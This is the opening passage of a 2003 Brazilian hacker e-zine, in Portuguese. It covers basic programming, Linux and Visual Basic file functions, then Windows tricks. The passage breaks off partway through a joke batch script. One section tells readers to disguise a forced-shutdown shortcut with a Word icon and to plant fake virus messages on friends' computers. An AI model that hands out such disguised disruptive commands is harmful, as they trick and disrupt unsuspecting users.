dP dP 88 88 88d8b.d8b. .d8888b. d8888P .d888b88 88'`88'`88 88' `88 88 88' `88 88 88 88 88. .88 88 88. .88 dP dP dP `88888P' dP `88888P8 oo dP 88 .d8888b. dP dP dP .d888b88 .d8888b. 88' `88 88 88 88 88' `88 88ooood8 88. .88 88. .88 88 88. .88 88. ... `8888P88 `88888P' dP `88888P8 `88888P' .88 Número 01 d8888P E-zine lançada oficialmente dia 15 de Novembro de 2003. http://www.motdlabs.org contato@motdlabs.org irc.brasnet.org /join #motd ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que você venha a fazer. Estou certo de que estará consciente que ao tentar por em prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por ter feito algo que aprendeu nesta mesma. Obrigado pela a atenção e boa leitura!!! :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= IP_FIX......................................................ip_fix@motdlabs.org Cod3x......................................................codexmail@bol.com.br SKOFF........................................................skoff@motdlabs.org hallucination................................................hallz@motdlabs.org BlackSheep182.........................................blacksheep182@brasnet.org Nash Leon…................................................nashleon@yahoo.com.br D4rwin........................................................d4rwin@bol.com.br Inferninh0..............................................inferninho@motdlabs.org Caiobat.....................................................caiobat@brasnet.org Vo5.............................................................vo@motdlabs.org RedEyes.....................................................redeyes@brasnet.org Greenhornet............................................greenhornet@motdlabs.org Jakk_.........................................................jakk_@brasnet.org HazzarD.....................................................hazzard@brasnet.org SkyNet45.....................................................skynet@bsdmail.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Índice ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [ 01 ] Introdução (by IP_FIX) [ 02 ] Introdução à Programação (by D4rwin) [ 03 ] Introdução ao Linux (by BlackSheep 182) Programação [ 04 ] Programando em Visual Basic (by SKOFF) [ 05 ] Programando em Badcom (by IP_FIX) [ 06 ] Programando API em C++ para Windows (by Vo5) Linux [ 07 ] Instalando Linux pela 1º vez (by IP_FIX) [ 08 ] Permições de Arquivos (by Jakk_) [ 09 ] Programas em Modo Texto (by greenhornet) Hacking [ 10 ] Hackeando pelo Google (by BlackSheep182) [ 11 ] Códigos para Celulares (by Caiobat) [ 12 ] Introdução ao Hacking Ético (by Nash Leon) [ 13 ] Básico Shell Code (by Nash Leon) [ 14 ] Básico Buffer OverFlow (by Nash Leon) Diversos [ 15 ] Varreduras e Varreduras (by hallucination) [ 16 ] Vírus de Macro (by SKOFF) [ 17 ] Hardware (by RedEyes) [ 18 ] Básico sobre Redes (by SkyNet45) [ 19 ] FAQ – Trojans (by D4rwin) [ 20 ] Telefonia (by Hazzard) [ 21 ] Segurança Digital (by Inferninh0) [ 22 ] MOTD no Conisli (by IP_FIX) [ 23 ] Agradecimentos e Links “Don´t learn to hack, hack to learn.” – 2600 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 01 ]=-=[ Introdução ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Na data 31/07/03 foi criado o #MOTD. Depois de desentendimentos e perda do no nosso ex-canal virii, surge ele com pessoas realmente competentes, com interesses iguais e uma mesma ética: Livre liberação de infos e discussão dos mesmos de forma consciente. Esse é um grupo novo, com 95% formado por Newbies que tem sede de infos de conteúdo e muita disposição de aprender, 3% são gente de nível bem acima. Não, não são hackers, são “Fuçadores”, que possui um nível maior de experiência e que com a ajuda deles, o grupo está crescendo, não só em número, mas em conhecimento geral; uma mão lava a outra e temos que nos unir se quisermos alcançar nosso objetivo que é obter total conhecimento e passar-lhe adiante para todos. Os 2% restantes do grupo são gente sem escrúpulos que só querem coisas prontas e respostas completas para suas perguntas, nem preciso falar a quem estou me referindo, mas só falo uma coisa: “- Lamers, Script Kiddies, Defacers e afins, aviso que esta e-zine assim como o grupo #motd, não foram feitos para vocês. Se quiserem algum conselho, vão para http://www.google.com.br e digitem: exploit . Afinal, é só isso que sabem fazer!”. Se você não se encaixa no último perfil, bem-vindo ao grupo e aproveite essa e-zine. Ela é a terceira de nossa geração e a primeira com o nome do novo grupo. Os assuntos estão bem variados e nos esforçamos ao máximo para fornece-lo a você, jovem fuçador, e espero que tenhamos o ajudado com algumas de suas dúvidas. Lembrando que escremos essa zine para Newbies, mas Newbies ao ponto ex -lamer e aos que tem curiosidade do mundo underground. Por que escrevemos essa e-zine? Foi para ajudar aos newbies/fuçadores recém chegados a esse submundo que estão tendo dificuldades de conseguir uma base para conseguirem caminhar sozinhos e desenvolver coisas por sí próprio. Escrevemos também para aqueles que “querem sair” da vida de kiddies, defacers e tals para seguir uma ética que não degrina a imagem “HACKER” que é mal usada pela mídia e é também usada para fins lucrativos, mas que pretendemos mudar isso. A respeito das matérias, muita gente colaborou com o que pôde. Fiquei feliz que nas últimas semanas recebi vários e-mails de gente querendo ajudar o grupo com o mínimo que pudesse e outras já mandando suas matérias prontas. Para aqueles que ficou me devendo matéria e/ou não conseguiram me entregar, digo para guardarem, melhorarem e me enviarem pra já organizar para próxima edição. Não tem previsão de lançamento as próximas edições, já que varia muito da motivação do pessoal e disposição, mas assim que tivermos infos suficientes ela será lançada o mais rápido possível. Percebam que os tópicos são de assuntos básicos/intermediários que são de fácil entendimento para os navegadores de primeira viagem e um prato cheio para aqueles que não cansam de fixar o que já aprendeu. Pretendemos no decorrer do tempo disponibilizarmos informações de maior conteúdo, coisas da atualidade, novas técnicas, etc...Assim propiciando uma melhor fonte de informações não repetidas que geralmente encontramos na net afora. Antes que faça uma crítica negativa, lembre-se: Estamos escrevendo para Newbies. Repetindo: Novatos no underground. Se você achou os conteúdos de baixo nível, faça uma das duas coisas que irei citar: Pare de ler e vá fazer outra coisa; ou procure nos ajudar passando seu conhecimento. Conhecimento e informação foram feitos para ser passado adiante, não para se elitizar. Encerro aqui dizendo que o hacking não é para qualquer um. Se todo que quisesse virassem hacker, o mundo estaria infestado. Hacking é um estudo que não tem fim, limites, barreiras... Ele sempre te leva pra mais longe, cada vez mais longe e quando você se dá conta, não está nem na metade do fim do curso; pois sempre aparecerá novos degraus e bifurcações para subir essa escada infinita chamada HACKER... Agradeço desde já, o grupo MOTD, que cada vez mais me surpreende com a garra firme e a seriedade que estão levando o hacking veradeiro à frente. E é claro ao pessoal do CDM, Clube dos Mercenários, que possui os mais variados e surpreendentes fuçadores do Brasil. Thanks for all!! Atenciosamente, IP_FIX. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 02 ]=-=[ Introdução à Programação ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Conceitos de Programaçao O que e um programa? E um conjunto de instruçoes que dizem ao computador o que fazer. Esse conjunto de instruçoes, escritas originalmente pelo programador, e chamado de codigo -fonte. Existem varias linguagens que vc pode aprender com a finalidade de escrever programas. O programa deve ser selecionado pela sua capacidade de realizar a tarefa que vc deseja que ela execute. Os tipos de programas incluem planilhas, processadores de txt, programas de editoraçao eletronica, banco de dados e muitos outros. Como funcionam os programas? O DOS (Disk Operating System) e em essencia o cerebro do computador. O sistema operacional e um programa de computador. Sem ele, seu computador nao poderia funcionar. Ele executa instruçoes armazenadas em um arquivo de programa executavel. Essas instruçoes proporcionam as funçoes normais de exibiçao ao disco. As intruçoes codificadas no DOS em nada se parecem com as instruçoes do programa original; elas estao escritas em codigo de maquina. Codigo de Maquina Para que um computador possa compreender um programa, as instruçoes desse programa devem ser traduzidas para a linguagem de maquina, uma serie de valores 0 e 1 chamados numeros binarios. Esses numeros binarios representam instruçoes no programa. Imagine um computador como um diplomata dos EUA que so fala arabe. Para entender discursos em outros idiomas, o diplomata deve usar os serviços de um tradutos. Os programadores usam compiladores para traduzir suas instruçoes de programa em uma forma legivel por um sistema operacional; essa forma e chamada de codigo de maquina Compiladores e Interpretadores Um programador tem utilizar um compilador ou um interpretador a fim de traduzir o codigo-fonte de alto nivel em codigo de maquina de baixo nivel. A principal diferença entre um compilador e um interpretador esta na maneira como executam um programa. Um compilador traduz todo o programa em linguagem de maquina antes de iniciar a execuçao das instruçoes. Ao contrario, um interpretador le e executa uma instruçao de cada vez. A vantagem da execuçao pelo compilador e que ela e muito mais rapido do que a execuçao feita pelo interpretador. A desvantagem de um compilador e que o programador precisa esperar ate que todo o programa seja compilado antes de ser possivel identificar qualquer erro (nao importando o quanto esse erro seja pequeno). Interface O termo interface se refere ao aspecto de um programa para seus usuarios. Na maioria dos casos, um programa e projetado com a finalidade de ser utilizado por outros. Interface e o termo generico usada para designar como o programa e vista na tela do usuario e a maneira pela qual o usuario se comunica com ele. Variaveis Para que se possa entender programaçao, e necessario saber o que sao variaveis e pra que servem. A variavel e um dos elementos fundamentais em qualquer linguagem de programaçao. Voce deve se lembrar da algebra elementar, aquela que vc odeia, HeHeHeHe, entao, variavel em programaçao e quase a mesma coisa. Os computadores utilizam variaveis de maneira muito semelhante ao modo como sao usadas em algebra. Os dados armazenados em uma variavel podem se modificar. Em algebra, uma expressao tipica e y = x+2. O valor y se modifica conforme o valor x; x e y sao chamados de variaveis porque seus valores podem se alterar. Tipos de Intruçoes A medida que vc começa a escrever programas, passa a conhecer varios tipos diferentes de instuçoes de programaçao. Entre elas temos : ----> Intruçoes de Entrada ----> Intruçoes de Saida ----> Intruçoes Condicionais ----> Intruçoes de Seleçao de caso ----> Intruçoes de Atribuiçao ----> Intruçoes de Chamada a Sub-Rotina ----> Funçao ----> Comentarios ----> Loops Instruçoes de Entrada Todas as linguagens de programaçao tem instruçoes de entrada, que sao instruçoes para levar informaçoes a um programa. Uma lista de compras e um exemplo simples de instruçao de entrada. Vc entra com cada item que planeja adquirir no mercado, e seu programa instrui o computador para imprimir a lista em sua impressora. Instruçoes de Saida Nao importa o quanto o seu programa seja bom, ninguem o conhecera se ele nao tiver instruçoes de saida. Pode-se afirmar que a finalidade de um programa e sua saida; um programa deve exibir seus resultados. Contudo, saida significa mais que algo impresso na tela. Da mesma forma que as instruçoes de entrada servem para que o programa receba dados de entrada de diferentes maneiras, as instruçoes de saida podem enviar a saida de mais uma maneira. Nos programas que tem entrada mas nao apresentam saida, as informaçoes podem ser recolhidas e manipuladas, mas o codigo nao tem qualquer efeito. Ao adicionar uma saida ao seu programa, vc pode ver o resultado nas açoes do programa; pode enviar essas informaçoes para a tela, a impressora, um arquivo, etc. Instruçoes Condicionais "Se nao pode aguentar o calor, fique fora da cozinha." Essa e uma instruçao condicional. Seu nome vem do fato de que ela avalia uma condiçao e entao executa uma açao com base nessa condiçao. Por exemplo,se(vc nao aguenta o calor), entao fique fora da cozinha. Instuçoes de Seleçao de Caso ou Select Case As instruçoes case sao uma forma abreviada de escrever instruçoes condicionais. Se vc precisar avaliar uma expressao longa ou complicada e tiver de compara-la com dois ou mais valores condicionais (dois ou mais testes sobre a expressao), vc pode substituir os testes por uma instruçao de selecao de caso. Instruçoes de Atribuiçao As instruçoes de atribuiçao designam valores a uma variavel. Um sinal de igualdade ( = ) e a forma usada com mais frequencia para fazer uma atribuiçao. Vc pode atribuir um valor a qualquer variavel do mesmo tipo. As expressoes A = B e Total = Media sao instruçoes de atribuiçao. Vc pode atribuir qualquer variavel a uma outra variavel do mesmo tipo, determinar o valor de uma expressao e considerar uma variavel igual a ela, e tambem definir uma variavel como resultado de uma funçao. Intruçoes de Chamada a Sub-Rotina Quando e necessario uma açao repetitiva que utiliza duas ou mais instruçoes, esse grupo de instruçoes e um forte candidato a se transformar em uma sub -rotina. Uma sub-rotina e, na realidade, uma seçao separada de codigo, fora da sequencia de execuçao principal do programa. Para dizer ao seu programa que execute a sub-rotina, e utilizada a palavra-chave CALL na maior parte das linguagens. Funçao Uma funçao e semelhante a uma sub-rotina no fato de que e um grupo de instruçoes relacionadas que podem ser executadas por uma unica instruçao de atribuiçao. Como vc ja sabe, uma sub-rotina retorna ao programa principal quando termina sua tarefa. Uma funçao faz a mesma coisa; a unica diferença e que traz com ela um valor. Comentarios Um comentario e uma anotaçao ou explicaçao do codigo e eh uma parte importante da caixa de ferramentas do programdor. Escrever comentarios junto com seu codigo pode ajudar vc ou qualquer pessoa que leia seu programa a compreender o que faz cada seçao do programa. A seguir segue alguns exemplos de comentarios em Pascal, C e C++: Pascal {Este e um exemplo de comentario em Pascal, o comentario pode continuar por varias linha ate chegar a chave final.} C /* Este e um comentario em C. Tudo que estiver escrito na sequencia de barra e asterisco(/* e /*) serao ignorados pelo programa. Assim como no Pascal, o comentario so acaba quando chegar a barra e asterisco que segue. */ C++ // Este e um comentario em C++, e diferente das outras linguagens, para cada //linha de comentario se utiliza duas barras antes de inciar a frase. Loops Um loop repete uma instruçao ou um conjunto de instuçoes ate que uma condiçao que vc especificou seja satisfeita. Existem varias especies de instruçoes de loop; com elas, vc pode controlar o fluxo do seu programa. Tipos de Dados Simples e Operadores Elementares Os computadores foram criados para processar dados. Os programas de computador recebem dados brutos (em geral do teclado ou de um arquivo de disco), processam esses dados e produzem informaçoes com significao. Abaixo segue um modelo basico de um programa de computador: _________ ____________________ __________________ | | | | | | | Entrada | -------> | Processa a Entrada | -----------> | Produz a Saida | |_________| |____________________| |__________________| Um programa tem de ser capaz de armazenar sua entrada em algum lugar, para que possa trabalhar com os dados e processa=los, produzindo alguma saida util para o usuario. Todos os dados processados por um programa sao armazenados no programa como uma variavel ou uma constante. Variaveis e Constantes Como o nome jah diz, variaveis sao aquelas que podem variar. Em outras palavras, as variaveis possuem dados que se modificam com o decorrer do programa ja as constantes sao valores que nunca se alteram. Tipos de Dados Os dados, estejam contidos em variaveis ou constantes, podem ser de diferentes tipos. Veja a tabela a seguir: ______Nome_______ | | | Inteiros | | Inteiros longos | | Reias | |_________________| Arrays Depois de estar programando por algum tempo, vc poderia descobrir a necessidade de um tipo especial de variaveil, denominada array. Imagine que vc tem de controlar uma centena e valores e pontos em um torneio de cross-crountry, e deve computar a media entre os pontos, determinar a maior e menor contagem de pontos, alem de calcular mais algums estatisticas. Aplicando o que vc sabe ate agora, vc precisaria de cem variaveis para armazenar as cem contagens de pontos. Entretanto, vc nao gostaria de ter que criar uma centena de nomes diferentes de variaveis para guardar todos os totais de pontos; isso seria muito trabalhoso. Alem disso, se quisesse somar todos esses valores, seria preciso uma instruçao semelhante a esta: total1 = pontos1 + pontos2 + pontos3 + ........ + pontos100 Depois de vc ter somado os cem valores de pontos, essa instruçao espalharia por diversas linhas em um programa. As linguagens de programaçao oferecem uma alternativa muito melhor: os arrays. Uma array e uma lista de variaveis que tem todas o mesmo nome. Um array contem mais de uma variavel, cada uma delas com o mesmo noem das outras, mas ha um forma pela qual vc e seu programa podem distinguir uma variavel da outra. Por faz-se necessario o uso de um subscrito. Subscrito e um numero de sequencia, que começa em 0 ou 1, dependendo da linguagem, e que informa ao computador quais dentre as variaveix do array vc deseja utilizar. A seguir tem um exemplo de array: pontos(1) | pontos(2) | pontos(3) | ...... | pontos(100) OBS.: em algumas linguagens como C, se faz uso de [] ao inves de (). Ta aew o txt. Se vc chego ate aqui parabens, eh um txt grande. So quero dizeh ki isso eh tudo que eu sei de programaçao, ou melhor, introduçao a programaçao. Faz poco tempo que me envolvo com issso. Flw aew. Texto escrito por : D4rwin d4rwin@bol.com.br ( irc.brasnet.org - #motd #phreak - nick: D4rwin ) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 03 ]=-=[ Introdução ao Linux ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Índice : 1 - Introdução a linux 2 - Unix\linux 3 - Organização do linux 4 - Comandos do linux 5 - Finalizando Introdução ao linux : Todo mundo sabe que linux é um sistema operacional muito usado por empresas , sites de administração e inclusive pelos hackers . O linux foi inicialmente programado por Linus Torvalds , ainda quando era estudante da universidade de Helsinki , na Finlândia Daí o pingüim ser um símbolo tão bom para esse sistema operacional . Unix\Linux : O linux recebeu esse nome com referencia a seu criador e, é claro , por mera semelhança ao Unix . Linux surgiu como um projeto pessoal de Linus Torvalds , que iniciou seus trabalhos inspirando - se no modelo Minix , um pequeno sistema operacional Unix desenvolvido por Andy Tannembaum. Organização do linux. O linux pode ser dividido operacionalmente em três partes distintas ; # Kernel # Shell # utilitarios e aplicativos O kernel é o linux propriamente dito . O que realmente chamam de linux é a suas distribuições. O Shell é um programa que interpreta comandos digitados por um usuário e envia para o kernel . Além disso o Shell é uma linguagem de programação completa com variáveis , ponteiros e etc. Os aplicativos e utilitários são os principais programas adicionados ao linux , como editores de texto , navegadores , mailers e etc. O linux estruturalmente organiza seus arquivos em diretórios funcionais , conformo mostro abaixo : /bin contem os principais arquivos executáveis ou links de binários de outros diretórios . /boot contem arquivos de referencia do boot de inicialização do linux. /dev contem arquivos dispositivos de entrada e saída . /etc contem arquivos de configuração do sistema , de informação de redes , senhas , logons e etc. /home contem os diretórios dos usuários cadastrados nos sistema. /lib contem arquivos de bibliotecas /mnt contem links de montagem e partições. /root diretório local do usuário /sbin contem arquivos de sistemas essenciais /tmp contem arquivos temporários gerados por certos usuários. /usr contem arquivos de usuários , diretórios de programas instalados /var contem arquivos mais importantes da administração e gerencia do sistema. Comandos dos linux : Quero mostrar aqui alguns comandos para o usuário newbie usar o linux com mais facilidade : Adduser cria uma conta para um novo usuário Cal mostra o calendário Cat imprime o conteúdo do arquivo na tela Cd muda de diretório Chmod muda as permissões de arquivos e diretórios Clear limpa a tela Cp copia arquivos . Date mostra a data e a hora atual Du mostra o espaço utilizado por um aquivo Echo mostra uma linha de texto Find procura arquivos Finger aponta um usuário e mostra informações sobre ele Free mostra o espaço livro na memória ftp comando usado para permitir transferência de arquivos grep procura por nomes dentro de arquivos gunzip descompacta arquivos com extensão gz help mostra uma lista de comandos comuns hostname informa o nome do host ls lista os arquivos do diretório logout finaliza a Shell mail permite que usuários recebem emails ou não. Mkdir cria um diretório Pwd mostra odiretorio onde você se encontra rlogin permite o login remoto rmdir deleta diretorios shutdown termina processos e renicia a maquina telnet comando que permite comunicar um host com outro (permite acesso remoto). Vi editor de texto Who mostra usuários logados no sistema naquela hora Finalizando : Bom como viram forneci algumas informações básicas que ajudaram muito o usuario newbie a navegar pelo sistema , espero que façam bom proveito e em breve estarei escrevendo algo novo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 04 ]=-=[ Programando em Visual Basic ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Poderia dizer que estou escrevendo este artigo porque não tenho nada pra fazer, mas nem é isso, estou escrevendo ele porque as funções as quais estou explicando são pouco encontradas em texto adquiridos na Internet. Pretendo no decorrer da E-zine ir explicando mais sobre algumas outras funções... só que nem sei se vou continuar fazendo isso mesmo porque ando muito ocupado.... mas seja o que Deus quiser :) Comandos: Kill ----> Função Utilizada em VB para deletar arquivos Sint: Kill "Arquivo.exe" Exe: Kill "C:\Algo1\algo.exe Explicação: Ele vai Deletar o Arquivo Algo.exe contido na pasta Algo1 OBS.: Caso o programa não encontre o arquivo irá aparecer uma Mensagem de erro que não lembro o nome. :( -------------- ChDir ----> Função Utilizada para a mudança do diretório principal Sint: ChDir "Diretório" Exe: "C:\Algo1\" Explicação: Vamos supor que o diretório principal fosse C:\, agora vai ser C:\Algo1\ OBS.: Caso o Diretório não existe irá aparecer uma mensagem de erro que também não lembro o nome. :( Então preste atenção antes e verifique se o diretório existe... --------------- ChDrive ----> Função Utilizada Para muda o Driver(unidade) Sint: ChDrive "Letra do Driver" Exe: ChDrive "D" Explicação: Caso o Driver principal fosse C:\, agora vai ser D:\ OBS.: Verifique se você tem D:\, pra evitar conflitos. :) --------------- FileCopy ----> Função Utilizada para copiar arquivos Sint: FileCopy "Diretório\Arquivo" "Diretório" Exe: FileCopy "C:\autoexec.bat" "C:\windows\" Explicação: O programa irá pegar arquivos e irá copiar para um diretório (determinado por você). OBS.: Verifique Se o arquivo existe e se o diretório esta correto. :) --------------- FileLen -----> Função Utilizada para adquiri informações do Arquivo (Tamanho do Arquivo) Sint: FileLen "Diretório\Arquivo.extensão" Exe: FileLen "C:\windows\telene.exe" Explicação: Este comando tem a principal finalidade de fornecer o tamanho do arquivo, no caso do exemplo oi o telnet OBS.: Verifique se o arquivo que você escolheu existe antes de usar esse comando. :) -------------- FileDateTime -----> Função Utilizada para mostrar a hora que o arquivo foi criado Sint: FileDataTime "Diretório\arquivo.extensão" Exe: FileDataTime "C:\autoexec.bat" Explicação: Ele irá pegar os dados de quando o autoexec.bat foi criado :) OBS.: NDA -------------- MkDir -----> Função Utilizada para criar Pastas(Existe isso em MSDOS). Sint: MkDir "Diretório" Exe: MkDir "C:\Algo\" Explicação: o Diretório Algo será criado na unidade C:\ OBS: NDA ------------- RmDir ------> Função Utilizada para Remover Diretórios. Sint: RmDir "Diretório" Exe: RmDir "C:\Algo" ou "Algo" Explicação: O diretório Algo irá ser removido da unidade C:\ OBS.: Verifique Antes se o diretório Existe. :) ------------ GetAttr -----> Função Utilizada para indicar os atributos de uma Arquivo; Seguintes Atributos: Normal, Somente Leitura, Oculto, Sistema e Arquivo. Sint: Attr "Diretório\Arquivo" Sint: Attr "C:\autoexec.bat" Explicação: Irá mostrar o Atributo ativado no autoexec.bat -------------- SetAttr -----> Função Utilizada para Mudar ou Adicionar Atributos de um arquivo. Sint: SetAttr "Diretório\Aruivo", Atributo Exe: SetAttr "C:\autoexec.bat", 32 Explicação: O Atributo que será adicionado ao autoxec.bat é "Arquivo" OBS.: Seguintes Valores para os Atributos: (0 = Normal, 1 = Somente Leitura, 2 = Oculto, 4 = Sistema e 32 = Arquivo) -------------- Name -----> Função Utilizada para renomear arquivos Sint: Dim NomeAntigo, NovoNome NomeAntigo = "NOMEANTIGO": NovoNome = "NOVOARQUIVO" Name NomeAntigo As NovoNome Exe: Dim Arquivoum, Arquivodois Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe" Name Arquivoum As Arquivodois Explicação: Primeiramente nós declaramos duas Variaveis usando a função Dim(variavel Arquivoum e Arquivodois) depois definimos o que iria ser cada variavel, no caso seria essa linha: Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe" e logo após isso nó usamos a função Name para o renomeanto dos arquivos. OBS.: NDA ---------------- Escrito por SKOFF ou _LiNe_SKOFF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 05 ]=-=[ Programando em Badcom ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Olá galera Newbie, estou aqui mais uma vez para encher o saco de vocês com informações não interessantes, mas que todo mundo (quase todo mundo) sabe e gosta de fazer no bom e velho windows, ou melhor, no péssimo e histórico rwindows. O que você verá daqui em diante são truques que muita gente sabe e você sempre verá isso em algum computador um dia. Então chega de papo e vamos ao que interessa!!! :) 1 - Mudando a tela do "Seu computador já pode ser desligado com segurança." Isso é fácil de ser feito: a) Vá no localizar e digite: *.sys; b) Procure um arquivo chamado "Logos.sys"; c) Dê um duplo clique nele e abra com o velho Paint, "MSPAINT"; d) Ok, está na tela a figura, agora basta você modifica-la desenhando e/ou escrevendo tudo que quiser e em seguida salve com o mesmo nome (logos.sys) e no mesmo diretório (C:\WINDOWS) e pronto!!! Desligue o computador e se divirta fazendo isso no micro de seus amigos. DICAS: Experimente abrir também o "Logow.sys" e vejá a figura. Faça isso no micro de seus amigos colocando uma mensagem de erro ou de um vírus, eles ficarão assustados eu garanto... :D. ATENÇÃO: Como nem tudo é mil maravilhas, antes de você modificar os arquivo, faça um backup dele. E outra, NÃO AUMENTE OS PIXELS DELE!!! Senão a imagem vai ficar toda torta e abstrata quando você desligar!!! PS: PIXEL é o tamanho da figura. (Que foi? Não é todo mundo que sabe o que é pixel... :D). 2 - Mudando a velocidade do menu de programas do botão iniciar. Ahhh, esse aqui já tá manjado mas tudo bem. Esse é mais fácil que o de cima. Faça o seguinte: a) Clique em "Iniciar", "Executar" e digite "Regedit"; b) Calma não se assuste, agora clique no sinal de + do "HKEY_CURRENT_USER" para ver as sub-pastas; c) Abra também a sub-pasta "Control Panel" e clique na pasta "Desktop"; d) Ok, tá vendo isso que apareceu? Pois bem, é ali que vamos adicionar uma nova seqüência; e) Clique com o botão direito do mouse no fundo e quando aparacer um menu escolha "Novo" e "Valor da seqüência"; f) Nomeie ela para "MenuShowDelay" e o valor dela para "0"(zero); Pronto! Basta reiniciar o computador ou simplesmente fazer um logoff para surtir efeito!!! DICAS: Isso só server pra aumentar a velocidade do menu de programas, mas experimente aumentar o valor de 0 para digamos... 9999999...!!! :). ATENÇÃO: O Registro (regedit) não é brinquedo não. Um negocinho que você mude sem querer seu micro poderá ficar desconfigurado permanetimente (se você for leigo é claro...). 3 - Mudando a hora que fica na bandeja da barra do menu iniciar para qualquer nome que você queira. Isso daqui é fácil como o de cima, mas não conheço muita gente que manje desse esquema. Então, faça o seguinte: Abra o bom, velho e perigoso "Regedit"; Vá para "HKEY_CURRENT_USER", "Control Panel" e "International"; Crie um "Valor da seqüência" e nomeie de "sTimeFormat" e seu valor para "IP_FIX"; Reinicie o computador ou simplesmente faça o logoff e veja os resultados :). Lembrando que no lugar de "IP_FIX" coloque a mensagem que você quiser é claro... DICAS: Para desfazer isso, simplesmente altere o valor para "HH:mm" ou simplesmente o delete-o. ATENÇÃO: Só lembrando que com o regedit a gente só brinca se souber o que estiver fazendo :). 4 - Um atalho destrutivo, ou melhor, reiniciativo. Bom, isso eu descobri a pouco tempo e é até divertido (quando não faz isso no computador da escola... perdi 10 pontos por causa disso... :(). Esse é o mais fácil de todos. Faça o seguinte: Sabe a área de trabalho? Aquela que fica o ícone do "Meu computador"? Lembrou? Ótimo!!!; Clique com o botão direito do mouse e clique em "Novo" e em seguida em "Atalho"; Nessa janelinha que abriu aí pedindo para inserir o nome do caminho do que você quer abrir, digite "C:\WINDOWS\rundll.exe user.exe,exitwindows"; Depois dê um nome para ele e em seguida o execute-o!; DICAS: Você pode alterar a figura dele colocando o ícone do Microsoft Word, por exemplo, assim seus amigos "LEIGOS" irão quebrar a cabeça para descobrir o por quê que o computador desliga/reinicia :). Não existe só o caminho para desligar, tem também como reiniciar! ATENÇÃO: Não faça isso nas aulas de informática, perdi 10 pontos por isso :(... 5 - Badcom: Básico do Básico Badcom pra quem não sabe é uma linguagem não estrutudara padrão do windows. Já viu aqueles arquivos .bat que tem o desenho de uma engrenagem no meio??? Então! Aquilo usa badcom para ser executado! Se eu fosse explicar tudo sobre badcom demoraria muito, então pretendo escrever um tutorial só sobre badcom futuramente. Mas o explicar o básico que é o suficiente para se criar algo "eficaz" :D. Vamos começar pelo qual programa que você irá precisar, você precisará de: Qualquer editor de texto; meu preferido é o "Bloco de notas" :), pronto! Só disso que você precisará. Bem, vamos começar fazendo um simples programa no melhor estilo do "Show do Milhão"(huahuahua) :D. Abra o seu editor de texto normalmente e faça o seguinte: ----------------------------xxx CuTe HeRe xxx----------------------------------- @echo off cls echo "Bem-Vindo ao Show do Badcom!" echo. echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries echo. echo Stupidy Program Created by IP_FIX echo. echo Escolha uma alternativa: echo. echo [1] Começar logo a jogar essa ****. echo [2] Quero sair. Nao tenho capacidade mental para jogar esse jogo ridiculo. echo. choice/c12 if errorlevel 2 goto SAIR if errorlevel 1 goto JOGAR :SAIR echo. echo. echo Que foi? Vai fugir agora? Voce nao eh o hackao bonzao que consegue invadir sites por "Pasta da Web" e se sente o maximo com isso? Tah com medo de que? Ei, volta aqui!!! Nao corre nao, to brincando...!!! Bah, correu covarde, entao vou aproveitar o momento para formatar 